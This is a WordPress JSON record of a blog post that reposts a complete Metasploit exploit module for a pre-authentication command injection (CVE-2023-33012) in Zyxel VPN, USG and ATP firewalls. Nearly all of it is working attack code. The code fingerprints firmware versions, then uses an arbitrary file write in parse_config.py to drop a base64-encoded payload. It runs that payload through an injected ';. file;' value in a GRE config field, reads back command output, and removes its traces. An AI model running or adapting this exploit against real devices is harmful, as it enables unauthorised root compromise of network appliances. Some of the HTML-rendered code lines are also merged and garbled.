{"id":57886,"date":"2024-07-04T19:30:24","date_gmt":"2024-07-04T16:30:24","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/179365\/zyxel_parse_config_rce.rb.txt"},"modified":"2024-07-04T19:30:24","modified_gmt":"2024-07-04T16:30:24","slug":"zyxel-parse_config-py-command-injection","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/zyxel-parse_config-py-command-injection\/","title":{"rendered":"Zyxel parse_config.py Command Injection"},"content":{"rendered":"<p>##<br \/># This module requires Metasploit: https:\/\/metasploit.com\/download<br \/># Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>##<\/p>\n<p>class MetasploitModule &lt; Msf::Exploit::Remote<\/p>\n<p>Rank = NormalRanking<\/p>\n<p>include Msf::Exploit::Remote::HttpClient<br \/>include Msf::Exploit::FileDropper<br \/>prepend Msf::Exploit::Remote::AutoCheck<\/p>\n<p>def initialize(info = {})<br \/>super(<br \/>update_info(<br \/>info,<br \/>&#8216;Name&#8217; =&gt; &#8216;Zyxel parse_config.py Command Injection&#8217;,<br \/>&#8216;Description&#8217; =&gt; %q{<br \/>This module exploits vulnerabilities in multiple Zyxel devices including the VPN, USG and APT series.<br \/>The affected firmware versions depend on the device module, see this module&#8217;s documentation for more details.<\/p>\n<p>Note this module was unable to be tested against a real Zyxel device and was tested against a mock environment.<br \/>If you run into any issues testing this in a real environment we kindly ask you raise an issue in<br \/>metasploit&#8217;s github repository: https:\/\/github.com\/rapid7\/metasploit-framework\/issues\/new\/choose<br \/>},<br \/>&#8216;Author&#8217; =&gt; [<br \/>&#8216;SSD Secure Disclosure technical team&#8217;, # discovery<br \/>&#8216;jheysel-r7&#8217; # Msf module<br \/>],<br \/>&#8216;References&#8217; =&gt; [<br \/>[ &#8216;URL&#8217;, &#8216;https:\/\/ssd-disclosure.com\/ssd-advisory-zyxel-vpn-series-pre-auth-remote-command-execution\/&#8217;],<br \/>[ &#8216;CVE&#8217;, &#8216;2023-33012&#8217;]],<br \/>&#8216;License&#8217; =&gt; MSF_LICENSE,<br \/>&#8216;Platform&#8217; =&gt; [&#8216;linux&#8217;, &#8216;unix&#8217;],<br \/>&#8216;Privileged&#8217; =&gt; true,<br \/>&#8216;Arch&#8217; =&gt; [ ARCH_CMD ],<br \/>&#8216;Targets&#8217; =&gt; [<br \/>[ &#8216;Automatic Target&#8217;, {}]],<br \/>&#8216;DefaultTarget&#8217; =&gt; 0,<br \/>&#8216;DisclosureDate&#8217; =&gt; &#8216;2024-01-24&#8217;,<br \/>&#8216;Notes&#8217; =&gt; {<br \/>&#8216;Stability&#8217; =&gt; [ CRASH_SAFE, ],<br \/>&#8216;SideEffects&#8217; =&gt; [ ARTIFACTS_ON_DISK, CONFIG_CHANGES ],<br \/>&#8216;Reliability&#8217; =&gt; [ ] # This vulnerability can only be exploited once, more info: https:\/\/vulncheck.com\/blog\/zyxel-cve-2023-33012#you-get-one-shot<br \/>}<br \/>)<br \/>)<\/p>\n<p>register_options(<br \/>[<br \/>OptString.new(&#8216;WRITABLE_DIR&#8217;, [ true, &#8216;A directory where we can write files&#8217;, &#8216;\/tmp&#8217; ]),<br \/>])<br \/>end<\/p>\n<p>def check<br \/>res = send_request_cgi({<br \/>&#8216;method&#8217; =&gt; &#8216;GET&#8217;,<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;ext-js&#8217;, &#8216;app&#8217;, &#8216;common&#8217;, &#8216;zld_product_spec.js&#8217;)<br \/>})<br \/>return CheckCode::Unknown(&#8216;No response from \/ext-js\/app\/common\/zld_product_spec.js&#8217;) if res.nil?<\/p>\n<p>if res.code == 200<br \/>product_match = res.body.match(\/ZLDSYSPARM_PRODUCT_NAME1=&#8221;([^&#8221;]*)&#8221;\/)<br \/>version_match = res.body.match(\/ZLDCONFIG_CLOUD_HELP_VERSION=([\\d.]+)\/)<\/p>\n<p>if product_match &amp;&amp; version_match<br \/>product = product_match[1]version = version_match[1]\n<p>if (product.starts_with?(&#8216;USG&#8217;) &amp;&amp; product.include?(&#8216;W&#8217;) &amp;&amp; Rex::Version.new(version) &lt;= Rex::Version.new(&#8216;5.36.2&#8217;) &amp;&amp; Rex::Version.new(version) &gt;= Rex::Version.new(&#8216;5.10&#8217;)) ||<br \/>(product.starts_with?(&#8216;USG&#8217;) &amp;&amp; !product.include?(&#8216;W&#8217;) &amp;&amp; Rex::Version.new(version) &lt;= Rex::Version.new(&#8216;5.36.2&#8217;) &amp;&amp; Rex::Version.new(version) &gt;= Rex::Version.new(&#8216;5.00&#8217;)) ||<br \/>(product.starts_with?(&#8216;ATP&#8217;) &amp;&amp; Rex::Version.new(version) &lt;= Rex::Version.new(&#8216;5.36.2&#8217;) &amp;&amp; Rex::Version.new(version) &gt;= Rex::Version.new(&#8216;5.10&#8217;)) ||<br \/>(product.starts_with?(&#8216;VPN&#8217;) &amp;&amp; Rex::Version.new(version) &lt;= Rex::Version.new(&#8216;5.36.2&#8217;) &amp;&amp; Rex::Version.new(version) &gt;= Rex::Version.new(&#8216;5.00&#8217;))<br \/>return CheckCode::Appears(&#8220;Product: #{product}, Version: #{version}&#8221;)<br \/>else<br \/>return CheckCode::Safe(&#8220;Product: #{product}, Version: #{version}&#8221;)<br \/>end<br \/>end<br \/>end<br \/>CheckCode::Unknown(&#8216;Version and product info were unable to be determined.&#8217;)<br \/>end<\/p>\n<p>def on_new_session(session)<br \/>super<br \/>command_output = &#8221;<br \/># Get the most recently created GRE tunnel interface, bring it down then delete it to allow for subsequent module runs.<br \/>if session.type.to_s.eql? &#8216;meterpreter&#8217;<br \/>newest_gre = session.sys.process.execute &#8216;\/bin\/sh&#8217;, &#8220;-c \\&#8221;ip -d link show type gre | grep -oP &#8216;^\\\\d+: \\\\K[^@]+&#8217; | tail -n 1\\&#8221;&#8221;<br \/>print_good(&#8220;Found the most recently created GRE tunnel interface: #{newest_gre}. Going to delete it to allow for subsequent module runs.&#8221;)<br \/>command_output = session.sys.process.execute &#8216;\/bin\/sh&#8217;, &#8220;-c \\&#8221;ifconfig #{newest_gre} down &amp;&amp; ip tunnel del #{newest_gre} mode gre &amp;&amp; echo success\\&#8221;&#8221;<br \/>elsif session.type.to_s.eql? &#8216;shell&#8217;<br \/>newest_gre = session.shell_command_token &#8220;ip -d link show type gre | grep -oP &#8216;^\\\\d+: \\\\K[^@]+&#8217; | tail -n 1&#8221;<br \/>print_good(&#8220;Found the most recently created GRE tunnel interface: #{newest_gre}. Going to delete it to allow for subsequent module runs.&#8221;)<br \/>command_output = session.shell_command_token &#8220;ifconfig #{newest_gre} down &amp;&amp; ip tunnel del #{newest_gre} mode gre &amp;&amp; echo success&#8221;<br \/>end<\/p>\n<p>if command_output.include?(&#8216;success&#8217;)<br \/>print_good(&#8216;The GRE interface was successfully removed.&#8217;)<br \/>else<br \/>print_warning(&#8216;The module failed to remove the GRE interface created by this exploit. Subsequent module runs will likely fail unless unless it\\&#8217;s successfully removed&#8217;)<br \/>end<br \/>end<\/p>\n<p>def exploit<br \/># Command injection has a 0x14 byte length limit so keep the file name as small as possible.<br \/># The length limit is also why we leverage the arbitrary file write -&gt; write our payload to the .qrs file then execute it with the command injection.<br \/>filename = rand_text_alpha(1)<br \/>payload_filepath = &#8220;#{datastore[&#8216;WRITABLE_DIR&#8217;]}\/#{filename}.qsr&#8221;<\/p>\n<p>command = payload.raw<br \/>command += &#8216; &#8216;<br \/>command += &lt;&lt;~CMD<br \/>2&gt;\/var\/log\/ztplog 1&gt;\/var\/log\/ztplog<br \/>(sleep 10 &amp;&amp; \/bin\/rm -rf #{payload_filepath}) &amp;<br \/>CMD<br \/>command = &#8220;echo #{Rex::Text.encode_base64(command)} | base64 -d &gt; #{payload_filepath} ; . #{payload_filepath}&#8221;<\/p>\n<p>file_write_pload = &#8220;option proto vti\\n&#8221;<br \/>file_write_pload += &#8220;option #{command};exit\\n&#8221;<br \/>file_write_pload += &#8220;option name 1\\n&#8221;<\/p>\n<p>config = Base64.strict_encode64(file_write_pload)<br \/>data = { &#8216;config&#8217; =&gt; config, &#8216;fqdn&#8217; =&gt; &#8220;\\x00&#8221; }<br \/>print_status(&#8216;Attempting to upload the payload via QSR file write&#8230;&#8217;)<\/p>\n<p>file_write_res = send_request_cgi({<br \/>&#8216;method&#8217; =&gt; &#8216;POST&#8217;,<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;ztp&#8217;, &#8216;cgi-bin&#8217;, &#8216;parse_config.py&#8217;),<br \/>&#8216;data&#8217; =&gt; data.to_s<br \/>})<br \/>unless file_write_res &amp;&amp; !file_write_res.body.include?(&#8216;ParseError: 0xC0DE0005&#8217;)<br \/>fail_with(Failure::PayloadFailed, &#8216;The response from the target indicates the payload transfer was unsuccessful&#8217;)<br \/>end<\/p>\n<p>register_files_for_cleanup(payload_filepath)<br \/>print_good(&#8220;File write was successful, uploaded: #{payload_filepath}&#8221;)<\/p>\n<p>cmd_injection_pload = &#8220;option proto gre\\n&#8221;<br \/>cmd_injection_pload += &#8220;option name 0\\n&#8221;<br \/>cmd_injection_pload += &#8220;option ipaddr ;. #{payload_filepath};\\n&#8221;<br \/>cmd_injection_pload += &#8220;option netmask 24\\n&#8221;<br \/>cmd_injection_pload += &#8220;option gateway 0\\n&#8221;<br \/>cmd_injection_pload += &#8220;option localip #{Faker::Internet.private_ip_v4_address}\\n&#8221;<br \/>cmd_injection_pload += &#8220;option remoteip #{Faker::Internet.private_ip_v4_address}\\n&#8221;<br \/>config = Rex::Text.encode_base64(cmd_injection_pload)<br \/>data = { &#8216;config&#8217; =&gt; config, &#8216;fqdn&#8217; =&gt; &#8220;\\x00&#8221; }<\/p>\n<p>cmd_injection_res = send_request_cgi({<br \/>&#8216;method&#8217; =&gt; &#8216;POST&#8217;,<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;ztp&#8217;, &#8216;cgi-bin&#8217;, &#8216;parse_config.py&#8217;),<br \/>&#8216;data&#8217; =&gt; data.to_s<br \/>})<\/p>\n<p># If the payload being used is for example cmd\/unix\/generic and not a payload spawning any kind of handler (bind or reverse)<br \/># we can query the \/ztp\/cgi-bin\/dumpztplog.py for the stdout of the command and print it for the user.<br \/>if payload_instance.connection_type == &#8216;none&#8217;<br \/>cmd_output_res = send_request_cgi({<br \/>&#8216;method&#8217; =&gt; &#8216;GET&#8217;,<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;ztp&#8217;, &#8216;cgi-bin&#8217;, &#8216;dumpztplog.py&#8217;)<br \/>})<\/p>\n<p>if cmd_output_res&amp;.body &amp;&amp; !cmd_output_res.body.empty?<br \/>output = cmd_output_res.body.split(&#8220;&lt;\/head&gt;\\n&lt;body&gt;&#8221;)[1]output = output.split(&#8220;&lt;\/body&gt;\\n&lt;\/html&gt;&#8221;)[0]output = output.gsub(&#8220;\\n\\n&lt;br&gt;&#8221;, &#8221;)<br \/>output = output.gsub(&#8220;[IPC]IPC result: 1\\n&#8221;, &#8221;)<br \/>print_good(&#8220;Command output: #{output}&#8221;)<br \/>else<br \/>print_error(&#8220;Could not retrieve the command&#8217;s stout from \/ztp\/cgi-bin\/dumpztplog.py&#8221;)<br \/>end<br \/>end<\/p>\n<p>unless cmd_injection_res &amp;&amp; !cmd_injection_res.body.include?(&#8216;ParseError: 0xC0DE0005&#8217;)<br \/>fail_with(Failure::PayloadFailed, &#8216;The response from the target indicates the payload transfer was unsuccessful&#8217;)<br \/>end<br \/>end<br \/>end<\/p>\n","protected":false},"excerpt":{"rendered":"<p>### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## class MetasploitModule &lt; Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpClientinclude Msf::Exploit::FileDropperprepend Msf::Exploit::Remote::AutoCheck def initialize(info = {})super(update_info(info,&#8216;Name&#8217; =&gt; &#8216;Zyxel parse_config.py Command Injection&#8217;,&#8216;Description&#8217; =&gt; %q{This module exploits vulnerabilities in multiple Zyxel devices including the VPN, USG and APT series.The affected firmware versions depend on the device module, see this &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-57886","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/57886","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=57886"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/57886\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=57886"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=57886"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=57886"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}